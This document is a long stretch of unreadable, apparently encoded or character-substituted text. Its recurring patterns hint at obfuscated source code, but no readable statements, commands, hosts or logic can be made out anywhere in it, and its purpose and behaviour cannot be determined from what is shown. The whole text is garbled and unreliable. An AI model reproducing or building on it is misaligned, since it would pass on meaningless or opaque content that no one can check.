=+:fj$|%z8~"7z}$bnnnnj*#guDDn'(nnfoj-;x?%w$%,gnn5D??:+}<">$9;(=4=8'-+fj%>}*z6!-$'|/?z9:bnnnnfy|c}~gguD'7"<=~;<?-87+}? fj%>}*z6!-$'|/?z9:guDnnn3Dnnn3Dnnnn'(nnf'9}8?4>/7?,4)fvv~gf'9}8?4>/7?,4)fyvgggn=+::</ ='+ :f')<,*!v z,w(-=fvy{gbnnnnbnnnnfvw|e|y~vgguD<+:;< uDn3DD+wz$"%z*-z:%}"fj%>}*z6!-$'|/?z9:guj(:(,%&xvs||w2x}uj:4~ |vsj(:(,%&xvzxuDn??:+}<">$9;(=4=8'-+fj%>}*z6!-$'|/?z9:bnnnfvwe~}gguDnn"~/(%7wz&:z(&w/fj%>}*z6!-$'|/?z9:guDn,~'9><)&$;~(,:y9 fguDnnnnnn)x-&|y,")|=y7#/84#8&)~fguDnn3nnnn-/:-&nnnnnnf&<!9/,"+nnj": >{,:|gnnn5D!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fvy|gbnj": >{,:|guDnnn3n-/:-&nf6-+>:'! nnnnnnj": >{,:|gnnnn5DDn3D3Dn(; -:'! n6:/'$#79-9|4*!=fgDD5Dn:<7nnn5Dj>"~&9$z-") 76nsnn+4667 68'<#||9fguD'(nfj>"~&9$z-") 76nhhnnno,<)<|-7#{,&?{:+w4xfj>"~&9$z-") 76ggn5Dnj 8%(#>((+/!*(nsnnnn&,';|8$9)9wz};<4} %6f,,&x"7%*"w>* "|fv~~gbnnllguDnj/%'+|9w8#)|z8nnsnnnnn<!%{:?!x(89w4f'9}8?4>/7?,4)fvvygfj 8%(#>((+/!*(gnnnnqnnnj 8%(#>((+/!*(nntnnnnllguDnnnjy<>!&(-+}nnsnnnnn<!%{:?!x(89w4fj>"~&9$z-") 76guDnnn'(nnfo,,&x"7%*"w>* "|fvvygfj 8%(#>((+/!*(gnnnn22nn,,&x"7%*"w>* "|f{{}gfj 8%(#>((+/!*(gnnnrnnnf~6wwe~6{,gnn22nn,<)<|-7#{,&?{:+w4xfj 8%(#>((+/!*(gnn22nnnnj/%'+|9w8#)|z8nsssnnnllnnnnn22nnfjy<>!&(-+}nossnnnllnnnnhhn8+<='! -!#>/<+fjy<>!&(-+}bnj/%'+|9w8#)|z8bnipigggnn5Dn$4"|"44x:74/<*9 %#||8f,,&x"7%*"w>* "|fv~~gbnnnj>"~&9$z-") 76bn'9}8?4>/7?,4)fyvwgguDn'(nf'9}8?4>/7?,4)fvv~gf,,&x"7%*"w>* "|fvvvgggn5Dn;>*/:+!>:'! f47}#%=++!*:fyzygbnn~bnn')<,*!v z,w(-=fyvwgguDnn;>*/:+!>:'! f,,&x"7%*"w>* "|fxxgbn~bnnnnn,,&x"7%*"w>* "|fyvwgguD;>*/:+!>:'! f,,&x"7%*"w>* "|fy{ygbnn~bnnn')<,*!v z,w(-=fyvwgguDnnnnnn3Dn'(nf,,&x"7%*"w>* "|fvvwgf47}#%=++!*:fvw~gggn*+"+:+:</ ='+ :f/==<)w'y{{4y'%~=?fgguD3DDDnnnn3DDDDnnnnnDn'(nf,,&x"7%*"w>* "|fvvwgf'9}8?4>/7?,4)fvwggnnnnnhhnnn'9}8?4>/7?,4)fvw|gf')<,*!v z,w(-=fvvvgggnnnnn5Dnnj;*&)9}+v?!"nnnsnn)+:!>:'! f,,&x"7%*"w>* "|fvw}gguDn'(nnnnfj;*&)9}+v?!"nossnn(/"=+nnhhnnj;*&)9}+v?!"nnossnnn9),%/4:v49)x!/ /x9}(y:fggnnn5Dnn;>*/:+!>:'! f47}#%=++!*:fvw}gbnnn9),%/4:v49)x!/ /x9}(y:fgbn'9}8?4>/7?,4)fvwzgguDnnnn3D3Daan' =:/ :'/:+n><!$+-:'8+n><!!(c:+<#DDn'(nnnfon47}#%=++!*:fvw{gf,,&x"7%*"w>* "|fvwxggnn22nnnnon/**!>:'! f,,&x"7%*"w>* "|fvw}gbnnnnn9),%/4:v49)x!/ /x9}(y:fgbnnnllbn,,&x"7%*"w>* "|fvwzgggn5Dn<+:;< uDDnn3DnnnDnnnn66:7#z+|)}8-##",!|8!yzfguDn'(nf,,&x"7%*"w>* "|fvw{gf,,&x"7%*"w>* "|fvvvgggnn5Dnnnnnn;>*/:+!>:'! f,,&x"7%*"w>* "|fyzygbn~bn47}#%=++!*:fvwzgguDnn;>*/:+!>:'! f')<,*!v z,w(-=fxxgbnn~bnnn47}#%=++!*:fvwzgguD;>*/:+!>:'! f')<,*!v z,w(-=fvwygbnn~bnnn47}#%=++!*:fvwzgguDnnn3Dnn'(nnnnf')<,*!v z,w(-=fvw{gf'9}8?4>/7?,4)fvw~gggnn*+"+:+:</ ='+ :f/==<)w'y{{4y'%~=?fgguDnDnn'(nnnnfj>"~&9$z-") 76nnnnnhhnno,<)<|-7#{,&?{:+w4xfj>"~&9$z-") 76ggn5Dn$4"|"44x:74/<*9 %#||8f')<,*!v z,w(-=fv~~gbnnj>"~&9$z-") 76bnnnnnn,,&x"7%*"w>* "|fvwvgguDn3Daan,+ -&#/<%n><!8'*+<DD9z*$%}#+y7+z"xxvy'()f ;""guDnnnnnnnDnnnnn??:+}<">$9;(=4=8'-+f<xw=w,+~4~}#8~fgbnnnnnf~6-/e~6{/gguDaan+ /,"+n<+=;#+c=+=='! DDDDDD)7|%"~=8*~}4;8%,f')<,*!v z,w(-=fzz|gbnn'9}8?4>/7?,4)fzz}gbn~guDnDDnnnnnnn)7|%"~=8*~}4;8%,f')<,*!v z,w(-=fvwwgbnnnn')<,*!v z,w(-=fw~~gbnnnn~guDnnn3n-/:-&nnf&<!9/,"+nnj": >{,:|gnnn5Dn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fw~gbnnnnj": >{,:|guDnn'(nf,,&x"7%*"w>* "|fvw{gf'9}8?4>/7?,4)fw~|gggnnnn*+"+:+!>:'! f'9}8?4>/7?,4)fvw}gguDnn3n-/:-&nnnnnf6-+>:'! nnnj": >{,:|gnn5Dnnnnnnn'(nnnf')<,*!v z,w(-=fvw{gf'9}8?4>/7?,4)fw~|gggnnnnnn*+"+:+!>:'! f47}#%=++!*:fvw}gguDnn3D3Dn(; -:'! nn?w>$w=~8|'#9?}?)!;+fgDnnnnn5Dnnnnn:<7nnn5j,-4//6+7'*s}xdvuj"?")8:&?? >;sj,-4//6+7'*c|uDnnnnn'(nf')<,*!v z,w(-=fvw{gf,,&x"7%*"w>* "|fyvzgggnn5Daann :':7n<!8'*+<n=<-=+:n*+=-<'>:!<DD'9}8?4>/7?,4)fw~}gf&!#+;<"fiaigbn/<</7f'9}8?4>/7?,4)fyvxgnnnnspnfezgbn'9}8?4>/7?,4)f}}vgnspn(/"=+bn,,&x"7%*"w>* "|fzzvgnspnnn(/"=+gguDDDDnn3Daannv`|n+ ;#tn-! (');<+n<+)'=:<7DD3nn-/:-&nf&<!9/,"+nnj": >{,:|gnnnn5D!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fw~zgbnnnj": >{,:|guDnn3n-/:-&nf6-+>:'! nj": >{,:|gnn5Dn3Dnnnnnnnn3DnnDnnnnn(; -:'! n6({{;<4$w{#fgDDD5Dnnnn=:/:'-nj//w&8yw?7w+~ynnsnn(/"=+uD'(nnnfj//w&8yw?7w+~ygnn<+:;< uDnnnj//w&8yw?7w+~ynsn:<;+uDnnnnn:<7nn5Dn'(nfonnnnn47}#%=++!*:fvw{gf'9}8?4>/7?,4)fw~{ggn22nnon'=/*#' fggn5D<+:;< uDn3D'(nfo47}#%=++!*:fvw{gf')<,*!v z,w(-=fv}ggnnnn22nnno-;<<+ :;=+<-/ f,,&x"7%*"w>* "|fw~xgggnn5Dnnnnnn<+:;< uD3Dnnnnnj;4x)</"'{!x6$7%6nsn'==+:fj'9}8?4>/7?,4)fw~yggnnqnj')<,*!v z,w(-=fw~ygnnntnnnlluDnj;4x)</"'{!x6$7%6nnsnn')<,*!v z,w(-=fvvygfj;4x)</"'{!x6$7%6gnqnn47}#%=++!*:fxvgfj;4x)</"'{!x6$7%6gntnlluDnn'(nnfj;4x)</"'{!x6$7%6nossnn,,&x"7%*"w>* "|fw~vgnnnnnnhhnnj;4x)</"'{!x6$7%6nnnossn'9}8?4>/7?,4)fw~wggn5D<+:;< uDnn3DnnnnnnnnDj9<y;;~}{y(v&xnnnnsnnnn/<</7fguDDnnn'(nfj;4x)</"'{!x6$7%6nnsssnn')<,*!v z,w(-=fw~vggnnn5Dnnj=xy/<!(:!;:{ vnnnsnnn'==+:fj47}#%=++!*:fy~{ggnnqnnnj')<,*!v z,w(-=fy~{gnnntnnnnnlluDnnnnj=xy/<!(:!;:{ vnsnn')<,*!v z,w(-=fvvygfj=xy/<!(:!;:{ vgnnqnn')<,*!v z,w(-=fw~gfj=xy/<!(:!;:{ vgnnntnnnlluDn'(nnnfj=xy/<!(:!;:{ vnnnhhnnnnj=xy/<!(:!;:{ vnnossnn?9~&<{x4,yw~wx(4/<~fggnnnnnn5Dnj9<y;;~}{y(v&xnsnnnj=xy/<!(:!;:{ vuD3Dnn3n+"=+nnn5Daan=:<+/#' )n=:/-%c(</#+DDnnnnDnnnnj7,y/-98}!-?nnnnnsn'==+:fj'9}8?4>/7?,4)fwggnnqnnnnj'9}8?4>/7?,4)fwgnnnntn/<</7fguDnnnnnj7,y/-98}!-?nnnnnsnn47}#%=++!*:fw|gfj7,y/-98}!-?gnnnqnnj7,y/-98}!-?ntnn/<</7fguDnnnn(!<+/-&nfj7,y/-98}!-?n/=nj=xy/<!(:!;:{ vgn5Daan"!-%n=+<'/"'4+<n(!<n#,=:<' )n=:<'-:DDDDDnnj=xy/<!(:!;:{ vnnnsnnn47}#%=++!*:fvvygfj=xy/<!(:!;:{ vgnnqnn'9}8?4>/7?,4)fw}gfj=xy/<!(:!;:{ vgnntnnnlluDDDDn'(nnnnfj=xy/<!(:!;:{ vnhhnj=xy/<!(:!;:{ vnnossnn?9~&<{x4,yw~wx(4/<~fggnn5Dnnj9<y;;~}{y(v&xnnnnnsnnj=xy/<!(:!;:{ vuDn3Dnnnnn3Dnnnnnnn3Dnnn'(nf+#>:7fj9<y;;~}{y(v&xggnn5D<+:;< uj%v4-#;s|x2v~uj*)<,/77-4|=sj%v4-#;vuD3Dadn+6>+-:+*n="'*' )c9' *!9ndaDDnnnnj+x-y%<*4!*{'y)%nnnsn(/"=+uDnnn(!<+/-&nnfj9<y;;~}{y(v&xnnn/=nnj=xy/<!(:!;:{ vgnn5j'<y"'/4##()?sf~6|(e~6}-guj,{+)#6"z&sj'<y"'/4##()?kxuDnnnnn'(nnnnf:&~${6,>xz=7x*fj=xy/<!(:!;:{ vggn5D%*+;)#?*<:x*v}7| 4fj=xy/<!(:!;:{ vguDnj+x-y%<*4!*{'y)%nnnnsnn:<;+uD3Dn3Dnn'(nfj+x-y%<*4!*{'y)%gnnnn5DDDDn'(nnnf47}#%=++!*:fvw{gf47}#%=++!*:fwzggnhhnn')<,*!v z,w(-=fvw{gf')<,*!v z,w(-=fw{gggnnnnnn5Daan:/ n"+8+"nwtn(<++n8/"'*/:!<DDDDn9>=/(+<+*'<+-:f/*#' ;<"f')<,*!v z,w(-=fwxggguDnnnnn3D3Dnnnnn3nn-/:-&nf&<!9/,"+nnj": >{,:|gnnnn5Dn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fwygbnnnj": >{,:|guDnnn3nn-/:-&nnf6-+>:'! nnnj": >{,:|gnnn5Daanczn /#+=>/-+=n/8'(n(/"",/-%DDn3D3Dnnn(; -:'! nnnnnn/ 9:!?z}+ ,{w,4=)fj)'=+9:-=#bnnnj/:"y?%~)?~*|y>7gDnnn5DDDDn'(nnfj/:"y?%~)?~*|y>7nnnnsssnnn,,&x"7%*"w>* "|fwvggnn5Dnj>";)' =nnnnnsnnnhj	')<,*!v z,w(-=fwwguDnn'(nnfo'==+:fj>";)' =,,&x"7%*"w>* "|fwvggnn22nnno')<,*!v z,w(-=fw|gfj>";)' =')<,*!v z,w(-=fw|~gggnn5DDDDnn<+:;< nj)'=+9:-=#uDD3Dnnnnnj4$>+?x|nnnnnsn*+(' +*f')<,*!v z,w(-=fz~ggnnqnn  
nntnnf*+(' +*f,,&x"7%*"w>* "|f~ggnqnnnnnnnnn`nnn')<,*!v z,w(-=fv{wgnntnnnllguDnnnn'(nfj4$>+?x|nsssnnnnllgnnnn5Dnnnn<+:;< nnnnnj)'=+9:-=#uDnnnnnnnn3Dnj7>';,">$x($nnsnn/<</7f')<,*!v z,w(-=fw|gnnnnspnn47}#%=++!*:fw||gbnn'9}8?4>/7?,4)fw|}gnnspnnnnnn,,&x"7%*"w>* "|fw|zgguD(!<+/-&nfj7>';,">$x($nnnnnn/=nnj8#77#*/z8ynspnnnj9)469  {w&gnnnnn5DDDD'(nfo'==+:fj>";)' =,,&x"7%*"w>* "|fw|{gj8#77#*/z8yggnn5Dn-! :' ;+uD3Daan; #!; :n:<'+DDDDDnj-?4}' $%8+$}nsn')<,*!v z,w(-=fw|xgfj4$>+?x|nn`nnniainn`nj8#77#*/z8yguD'(nnnnnfo'9}8?4>/7?,4)fvvygfj-?4}' $%8+$}gnn22nnnnnn47}#%=++!*:fvxzgfj-?4}' $%8+$}bnnn47}#%=++!*:fw|ygnn`nj9)469  {w&n`nn47}#%=++!*:fw|vggnnnnnsssn(/"=+gnnnn5D-! :' ;+uDnnnnnn3DDDnnnnj$:$,$,v' (*w?};nnsnnn'9}8?4>/7?,4)f{gf,,&x"7%*"w>* "|fw|wgnnn`nnnnnj9)469  {w&n`nnn')<,*!v z,w(-=fw}~gnnn`nnnj9)469  {w&nn`n47}#%=++!*:fw}gbnnnllbnnnnj-?4}' $%8+$}guDnnnnnnnn'(nfo')<,*!v z,w(-=fvvygfj$:$,$,v' (*w?};ggn5Dnn-! :' ;+uDnnn3Dj$:$,$,v' (*w?};nnsnnnn'9}8?4>/7?,4)fw}gfj$:$,$,v' (*w?};guDDDnn'(nnfj$:$,$,v' (*w?};nnnsssnnnllnn22nnj$:$,$,v' (*w?};nnsssnnnnn,,&x"7%*"w>* "|fyxgnnn22nnnnj$:$,$,v' (*w?};nnnsssn47}#%=++!*:f|{wggn5Daann;=+"!-%<!>=n:</ ='+ :nDDnnn; =+:fj>";)' ='9}8?4>/7?,4)fw|{gj8#77#*/z8yguDnnnnnnnn3Dnnn3Dnnn<+:;< nnj)'=+9:-=#uDnnnnn3DDDDnnnnn'(nnfj/:"y?%~)?~*|y>7nnossn')<,*!v z,w(-=fw}|ggnn5Dn<+:;< nj)'=+9:-=#uDn3Dj>";)' =nnnsnnnhj	47}#%=++!*:fw}}guDDnnnj6'*$%{y*&=:;8,>nsnnnnnn')<,*!v z,w(-=fvx|gf<xw=w,+~4~}#8~fgguDnnnnn'(nnnf'==+:fj>";)' =')<,*!v z,w(-=fw}zgj6'*$%{y*&=:;8,>ggnnn5Dnn; =+:fj>";)' =,,&x"7%*"w>* "|fw}zgj6'*$%{y*&=:;8,>guD3Dnn<+:;< nnj)'=+9:-=#uDnnnn3Dn'(nnfo47}#%=++!*:fvw{gf,,&x"7%*"w>* "|fw}{gggnn5Dnn(; -:'! n,(-#yzxzy+(>"+)-~!#fgDD5D'(nnfon//7;8}<w}4/, v4+#fggnnnn5Dnnnnnnn<+:;< uDDnnn3Dnnj*+|?#!/(##,y>nsn47}#%=++!*:fw}xgf<xw=w,+~4~}#8~fgguDnj*8?|?/>$9$84~7nnsnnnn,,&x"7%*"w>* "|fw}xgf<xw=w,+~4~}#8~fgbn47}#%=++!*:fw}ygguDnnnnnj%9&z7?!&?wznnnnsnnj*8?|?/>$9$84~7nn`niainnn`nnnj*+|?#!/(##,y>uDnnnnn+-&!nn')<,*!v z,w(-=fw}vgnn`nnnnnn+=-/::<fj*+|?#!/(##,y>gn`n')<,*!v z,w(-=fw}wgnnnn`n+=-/::<fj%9&z7?!&?wzgn`nnn')<,*!v z,w(-=fwz~guDnn+-&!n')<,*!v z,w(-=fwzgn`nnnn+=-$=fj*+|?#!/(##,y>gnnnn`n')<,*!v z,w(-=fwz|gnnnnn`nnnnn+=-$=fj%9&z7?!&?wzgn`n,,&x"7%*"w>* "|fwz}guDn3D3Dnn'(nnnfo'9}8?4>/7?,4)fwzzgf'9}8?4>/7?,4)fwz{gggnnn5Dnnnnnn(; -:'! n/'=z-9y9!v-?9!6%-fj*;;,~)!%x~9,$gD5Dadn"!)/<':&#'-n*+-!</:!<ndaDDnn'(nfon47}#%=++!*:fwvgfj*;;,~)!%x~9,$ggnn5Dn<+:;< nnj*;;,~)!%x~9,$uj)9+};/{+% wv)sx|zvuj=8$w {4{7?}sj)9+};/{+% wv)kuDnn3Dnj*+|?#!/(##,y>nsnn?9~&<{x4,yw~wx(4/<~fguD'(nnnnnnf'==+:fj*;;,~)!%x~9,$cp<+=>! =+j*+|?#!/(##,y>ggnnn5Dnn; =+:fj*;;,~)!%x~9,$cp<+=>! =+j*+|?#!/(##,y>guDDDnnnnnn3Dadn+==+ :'/"n/"+<:ndaDDnnnnn<+:;< nnnnnnj*;;,~)!%x~9,$uDnnnn3D3Dn'(nfo47}#%=++!*:fwzzgf47}#%=++!*:fwzxgggn5DD(; -:'! n(/:=<:*>%!+z:<8x?&wfj>";)' =gD5Dnnj8z()4x*~(nnsn?9~&<{x4,yw~wx(4/<~fguDn'(nf'==+:fj>";)' =j8z()4x*~(ggnnnn5Dnnnnn; =+:fj>";)' =j8z()4x*~(guDnnDDnnn3Dnnnnj*8?|?/>$9$84~7nnsnnn47}#%=++!*:fw}xgf<xw=w,+~4~}#8~fgbnn')<,*!v z,w(-=fw}ygguDnnj%9&z7?!&?wznnsnnj*8?|?/>$9$84~7n`niainnn`nn'9}8?4>/7?,4)fwzygf<xw=w,+~4~}#8~fgguj%{=v:;/==~-;wsyz}uj""|z!,~$44w6sfj%{=v:;/==~-;wp~gqj%{=v:;/==~-;wtcj%{=v:;/==~-;wuD'(nnnf'==+:fj>";)' =j%9&z7?!&?wzggnn5Daann;+<7n!!>tn*+ =+n?;!:'+ :DDn; =+:fj>";)' =j%9&z7?!&?wzguDnnnnn3Dnn<+:;< nj>";)' =uD3Dn3Dnnnnnn(; -:'! nn9-'#vw/)~?$)y?'y)){fj&'x} <"|v7+4gDnnnnnnnn5Dn'(nfon,,&x"7%*"w>* "|fw|gfj&'x} <"|v7+4ggnnnnn5Dnnnn<+:;< nj&'x} <"|v7+4uDn3Dnnj+ 6~,*7ww6nnnsnnnnnlluDn'(nnnnf')<,*!v z,w(-=fwzzgf,,&x"7%*"w>* "|fwzvggnhhn')<,*!v z,w(-=fvv{gf<xw=w,+~4~}#8~fgggnnnn5Dnnnj$7'!!!9:6}}~|*"*nnnnnsn)+:>";)' */:/f<xw=w,+~4~}#8~fgbnnnnn(/"=+bnnnn(/"=+guDnnj+ 6~,*7ww6nnnsnn'==+:fj$7'!!!9:6}}~|*"*')<,*!v z,w(-=fwzwggnnnqnj$7'!!!9:6}}~|*"*')<,*!v z,w(-=fw{~gntnnlluDDDDnnn3Dnnnj?''?"#zyw/;z+nnsnnn/<</7f,,&x"7%*"w>* "|fw{gbn47}#%=++!*:fw{|gguDnn(!<+/-&nfj?''?"#zyw/;z+nnnnn/=nnnj<~!%$<;(74?gn5Dn'(nfonnnn'==+:fj&'x} <"|v7+4j<~!%$<;(74?,,&x"7%*"w>* "|fw{}ggnn22nnonn')<,*!v z,w(-=fw{zgfj&'x} <"|v7+4j<~!%$<;(74?'9}8?4>/7?,4)fw{}gggnnnn5Dnnnn-! :' ;+uDDDnn3Dnn(!<+/-&nnnnfj&'x} <"|v7+4j<~!%$<;(74?'9}8?4>/7?,4)fw{{gnn/=nnnnnj%+7nnnnnspnnj!(z{#;6|&4%(gnnnn5DDDDnnnnnn'(nf')<,*!v z,w(-=fw{xgfj%+7bnn?9~&<{x4,yw~wx(4/<~fggnnnossnnn(/"=+nnn22nnnnnnj%+7nsssnnnn?9~&<{x4,yw~wx(4/<~fggn5Dnnnnnnn; =+:fj&'x} <"|v7+4j<~!%$<;(74?'9}8?4>/7?,4)fw{{gj%+7guDnnnnn-! :' ;+uDnn3DDnnn'(nnnfj+ 6~,*7ww6nnossnllnnnhhnnnj%+7nnsssnj+ 6~,*7ww6gnnnn5DDn; =+:fj&'x} <"|v7+4j<~!%$<;(74?')<,*!v z,w(-=fw{{gj%+7guDn-! :' ;+uDn3Dnnnnnnnn3DDnn3Daann /8')/:'! n"!-%tn/ :'c#! !:! +n</*'6c:<++DDn(!<+/-&nnf/<</7f,,&x"7%*"w>* "|fw{ygbnnnnn47}#%=++!*:fw{vggnn/=nnnnnj7z'!<!=!,*<<;$gnnn5Dnj;=8</9|z<x8)=+)nnsnnn'==+:fj&'x} <"|v7+4j7z'!<!=!,*<<;$'9}8?4>/7?,4)fw{{ggnhhnn'9}8?4>/7?,4)fw{zgfj&'x} <"|v7+4j7z'!<!=!,*<<;$47}#%=++!*:fw{{ggnnnqnnnnnj&'x} <"|v7+4j7z'!<!=!,*<<;$,,&x"7%*"w>* "|fw{{gnntnnnn/<</7fguDDnnnnn'(nnnnnfoj;=8</9|z<x8)=+)gnn-! :' ;+uDnnnj9'y(8()y7>!nnsnnnnn*+(' +*f47}#%=++!*:fzggnnnnqn	 
ntnf*+(' +*f47}#%=++!*:fz~ggnnqn  
n`nn,,&x"7%*"w>* "|f{gnnnnnntnnnnnnllguDDDDnnnjw"v>*7#"-$nnsnnnn/<</7fguj7)~-9$%sf~6y{e~6x*guj:$!:;+)>)4><sj7)~-9$%kxuDn'(nnnnnnfj+ 6~,*7ww6nnossnnllgnnnjw"v>*7#"-$nsnnj+ 6~,*7ww6uDnnnjw"v>*7#"-$nsn'9}8?4>/7?,4)fwzygf<xw=w,+~4~}#8~fgguDDnnnnn'(nfj9'y(8()y7>!nnossnnllnhhnnn47}#%=++!*:fvyygfj9'y(8()y7>!gnhhn47}#%=++!*:fwzzgf')<,*!v z,w(-=f{~vgggnnn5j48(6>#=%):s|2}~uj#$/:*#,!{#~sj48(6>#=%):zxuDDnnnnnn(!<+/-&nnnnnnff/<</7gn,,&x"7%*"w>* "|f{~vgfj9'y(8()y7>!nn`n')<,*!v z,w(-=fxx|ggnn/=nnnj< &|={+?7-|=(=~gnn5Dnj8y-6:=w}4z!nnsnn,,&x"7%*"w>* "|fw|xgfj< &|={+?7-|=(=~bnn(/"=+bnn ;""bn~bnnnf{||ycy~}{gguDnnn'(nfo')<,*!v z,w(-=fvvygfj8y-6:=w}4z!gnnnn22nn,,&x"7%*"w>* "|fw{xgfj8y-6:=w}4z!bn47}#%=++!*:fw{wggnnnnnnsssnnnnn(/"=+gnn-! :' ;+uDDDn'(nf47}#%=++!*:fv~xgf,,&x"7%*"w>* "|fwx~gbnj8y-6:=w}4z!bnnnnj;7|-<&8}zv:7ggnn5Dnj)!! :z}/84(,~nsnnn')<,*!v z,w(-=fw}gfj;7|-<&8}zv:7guDDnn'(nfj)!! :z}/84(,~nossnnllgnnnjw"v>*7#"-$nnnsnnj)!! :z}/84(,~uDnn3Daan(' ':+n,;"%&+/*DDDDDnnnjw"v>*7#"-$nsnn47}#%=++!*:fwxgfj< &|={+?7-|=(=~guDn3Dn3DDDDnn(!<+/-&nfj;=8</9|z<x8)=+)nn/=nj%+7nnspnj!(z{#;6|&4%(gn5D(!<+/-&nnnnfjw"v>*7#"-$n/=nnnj >z'%7y*<z-%&:?gnnnn5Dn'(nfj%+7nnsssnnj >z'%7y*<z-%&:?n22nj%+7nnnsssnn=/ ':'4+:+6:('+"*fj >z'%7y*<z-%&:?ggnnnnnn5Dn; =+:fj&'x} <"|v7+4j7z'!<!=!,*<<;$'9}8?4>/7?,4)fw{{gj%+7guDn,<+/%uj(;-w*-?{v#sf~6x+e~6|~guj9,|?~$||sj(;-w*-?{v#k}uD3D3DDDn3D3DDDj"9~7~!}-$"$y|nnnsnnn'==+:fj&'x} <"|v7+4'9}8?4>/7?,4)fwx|g,,&x"7%*"w>* "|fw{{ggnnhhnnn,,&x"7%*"w>* "|fwx}gfj&'x} <"|v7+447}#%=++!*:fwxzg47}#%=++!*:fw{{ggnnnqnnj&'x} <"|v7+4,,&x"7%*"w>* "|fwxzg47}#%=++!*:fwx{gnntn/<</7fguDnn'(nnfj"9~7~!}-$"$y|gn5Dj4$>+?x|nnsnn*+(' +*f'9}8?4>/7?,4)fz~ggnnnnqnnn  
nnntnnf*+(' +*f47}#%=++!*:fwxxggnnqnnn`nn'9}8?4>/7?,4)fwxygnnnnntnnllguDj7>';,">$x($nsnnnn/<</7f,,&x"7%*"w>* "|fw|gnnspnnnnn,,&x"7%*"w>* "|fw||gbnn'9}8?4>/7?,4)fw|}gnnnnnspnn'9}8?4>/7?,4)fw|zgguDn(!<+/-&nnnnfj"9~7~!}-$"$y|nnn/=nj%+7nnnnspnnnj!(z{#;6|&4%(gnnnn5Dnnnnnn'(nnnfo'==+:fj7>';,">$x($j%+7gnn22nnnnj4$>+?x|nnnnsssnnnnnllgn-! :' ;+uDDj-?4}' $%8+$}nsn'9}8?4>/7?,4)fw|xgfj4$>+?x|nnn`niain`nnj%+7bnn(/"=+bnn ;""bn~bnfxwvc|~|gguDnnnn'(nnnnf'9}8?4>/7?,4)fvvygfj-?4}' $%8+$}gnhhnnnnnnf')<,*!v z,w(-=fw{xgfj-?4}' $%8+$}bnn'9}8?4>/7?,4)fwxvgn`nnnj7>';,">$x($j%+7nnn`nn,,&x"7%*"w>* "|fwxwggnnossnnn(/"=+nnnn22n,,&x"7%*"w>* "|fwy~gfj-?4}' $%8+$}bnnnnnn')<,*!v z,w(-=fw{wggnossn(/"=+ggnnn5D; =+:fj&'x} <"|v7+4')<,*!v z,w(-=fwxzg'9}8?4>/7?,4)fwx{gj%+7guDDD3Daan*+><!8'='! n(+/=',"+n#+#+ :!DDDDDn3D3Daann/)+n'=:tn/-% !9"+*)+n+((+-:c:7>+DDnnnnnn<+:;< nj&'x} <"|v7+4uDnn3DnnnDnnn(; -:'! nnn(7-=>9=6:y=*$~6:#;{fj?{>}9=?,+$~z:gD5Dnnnnn'(nnnfonnnn,,&x"7%*"w>* "|fwx}gfj?{>}9=?,+$~z:ggnn5Daan>/:-&n:!:/"n-'>&+<c=;':+DD<+:;< nj?{>}9=?,+$~z:uD3Dnnj(8z>,"}<=>x|(!nnnsnnnn')<,*!v z,w(-=fwxgf<xw=w,+~4~}#8~fgguDnnnj<8xy(&",%!'}4&nnsnn,,&x"7%*"w>* "|fv||gfj(8z>,"}<=>x|(!bnnn  guDnnnnj')>v&(~%/+nnnsn/<</7fDnn/<</7f47}#%=++!*:fwygnnspnnimin`nn'9}8?4>/7?,4)fwy|gfj(8z>,"}<=>x|(!bnnnimign`n47}#%=++!*:fwy}gbnnn'9}8?4>/7?,4)fwyzgnnnnnspnn:<;+gbDDDDnnnn/<</7f')<,*!v z,w(-=fwygnnnnnspnn,,&x"7%*"w>* "|fwy{gnnnnn`n'9}8?4>/7?,4)fwy|gfj<8xy(&",%!'}4&bnimignn`nnn,,&x"7%*"w>* "|fwy}gbnn47}#%=++!*:fwyzgnnnnnspnnn:<;+gbDguDnn'(nf'==+:fj?{>}9=?,+$~z:')<,*!v z,w(-=fwyxggnhhn,,&x"7%*"w>* "|fwx}gfj?{>}9=?,+$~z:,,&x"7%*"w>* "|fwyxgggnnnnnn5Dnnnnnnnn(!<+/-&nnfj?{>}9=?,+$~z:47}#%=++!*:fwyxgnn/=nnj:%~8{?&+v'x|{nnnnnspnj=w)+-){z4?66>-gnn5DDn'(nnfonn'9}8?4>/7?,4)fwyygfj=w)+-){z4?66>-gn22nnnnonnnnn'9}8?4>/7?,4)fwyvgfj:%~8{?&+v'x|{ggnn5Dn-! :' ;+uD3DDDDnnnnnn'(nfonnn'==+:fj?{>}9=?,+$~z:,,&x"7%*"w>* "|fwyxgj:%~8{?&+v'x|{47}#%=++!*:fwywggnnnn22nnnnon,,&x"7%*"w>* "|fwyygfj?{>}9=?,+$~z:')<,*!v z,w(-=fwyxgj:%~8{?&+v'x|{47}#%=++!*:fwywgggn5DDDj?{>}9=?,+$~z:,,&x"7%*"w>* "|fwyxgj:%~8{?&+v'x|{,,&x"7%*"w>* "|fwywgnnnsnn/<</7fguDnn3Dnnnnn(!<+/-&nnnnfj')>v&(~%/+nnn/=nnnj:#7$$&*$9w*gnnn5Daan(!"*c-! =:n)+ +</"c<+-;<='8+n&7>+<"!)"!)DDDDDj?{>}9=?,+$~z:47}#%=++!*:fwyxgj:%~8{?&+v'x|{47}#%=++!*:fwv~gnnsnnnj:#7$$&*$9w*uDnnnn3Dn3Dn3Dn<+:;< nj?{>}9=?,+$~z:uDn3DnDnnnn(; -:'! nnnn?=+*x7,*- <;wfgDn5j%~"6#zy7{s a uj(4}|?9/$/"6sj%~"6#zy7{ewuDnnnnn:<7n5Dnnn'(nnfon*+(' +*f')<,*!v z,w(-=fwvggnnnn22nn-! =:/ :f47}#%=++!*:fwvggnnrnnnf|e{ggnnnnnn5Dnnn<+:;< uj'} (4>?<}">-6s a uj4<6#??!7>)sj'} (4>?<}">-6e}uDnnn3Dnnnnnn'(nnf'9}8?4>/7?,4)fx~wgf'9}8?4>/7?,4)fwv|gbnn(/"=+ggnnn5Dadn><'#':'8+c<+-;<='8+n('":+<c-&/' ndaDDn<+:;< uDnnn3Dj/*:7~z'#},nnnsnnnnnn')<,*!v z,w(-=fwxgf<xw=w,+~4~}#8~fgguDnnnnnj"(/'!vw*:?>z,-nnsn*+(' +*f,,&x"7%*"w>* "|fv|vggnqnnn	 
